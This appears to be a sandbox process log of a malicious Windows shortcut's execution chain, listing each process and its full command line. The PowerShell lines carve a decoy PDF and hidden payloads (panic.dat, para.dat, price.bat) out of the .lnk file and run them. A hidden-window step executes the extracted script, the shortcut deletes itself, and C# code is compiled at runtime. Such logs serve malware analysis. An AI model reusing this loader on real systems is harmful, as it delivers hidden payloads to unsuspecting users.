| cmd.exe | /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\HAPUBWS\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0382A8AD} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x00001090, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x004B4DD3;$lnkFile.Read($pdfFile, 0, 0x004B4DD3);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x004B5E63,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exePath=$env:public+'\'+'panic.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0058F265,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x000005A9;$lnkFile.Read($stringByte, 0, 0x000005A9);$batStrPath = $env:temp+'\'+'para.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0058F80E,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;$lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'+'price.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;$lnkFile.Close();remove-item -path $lnkPath -force;"&& exit |
| cmd.exe | %WINDIR%\system32\cmd.exe /c dir %WINDIR%\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od |
| powershell.exe | C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\HAPUBWS\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0382A8AD} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x00001090, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x004B4DD3;$lnkFile.Read($pdfFile, 0, 0x004B4DD3);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x004B5E63,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exePath=$env:public+'\'+'panic.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0058F265,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x000005A9;$lnkFile.Read($stringByte, 0, 0x000005A9);$batStrPath = $env:temp+'\'+'para.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0058F80E,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;$lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'+'price.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;$lnkFile.Close();remove-item -path $lnkPath -force;" |
| AcroRd32.exe | "C:\b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56.pdf" |
| cmd.exe | %WINDIR%\system32\cmd.exe /c ""%TEMP%\price.bat"" |
| powershell.exe | -windowstyle hidden "$stringPath=$env:temp+'\'+'para.dat';$stringByte = Get-Content -path $stringPath -encoding byte;$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$scriptBlock = [scriptblock]::Create($string);&$scriptBlock;" |
| csc.exe | /noconfig /fullpaths @"%TEMP%\nxzosh2k\nxzosh2k.cmdline" |
| cvtres.exe | /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC29C.tmp" "%TEMP%\nxzosh2k\CSC1163D53EE82E4174839BC2A1B5DBF4.TMP" |
| csc.exe | /noconfig /fullpaths @"%TEMP%\lehpyyop\lehpyyop.cmdline" |
| cvtres.exe | /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC55B.tmp" "%TEMP%\lehpyyop\CSC46326F15105749018B2A3CD095AF699D.TMP" |
| csc.exe | /noconfig /fullpaths @"%TEMP%\qgnsibe2\qgnsibe2.cmdline" |
| cvtres.exe | /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC6E2.tmp" "%TEMP%\qgnsibe2\CSC4D4B8F51D95A4DE6A64DCB61D021D.TMP" |
| csc.exe | /noconfig /fullpaths @"%TEMP%\oeh5mfqv\oeh5mfqv.cmdline" |
| cvtres.exe | /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC8C6.tmp" "%TEMP%\oeh5mfqv\CSC5724FBBB3C734109BDF84D3F157C6F40.TMP" |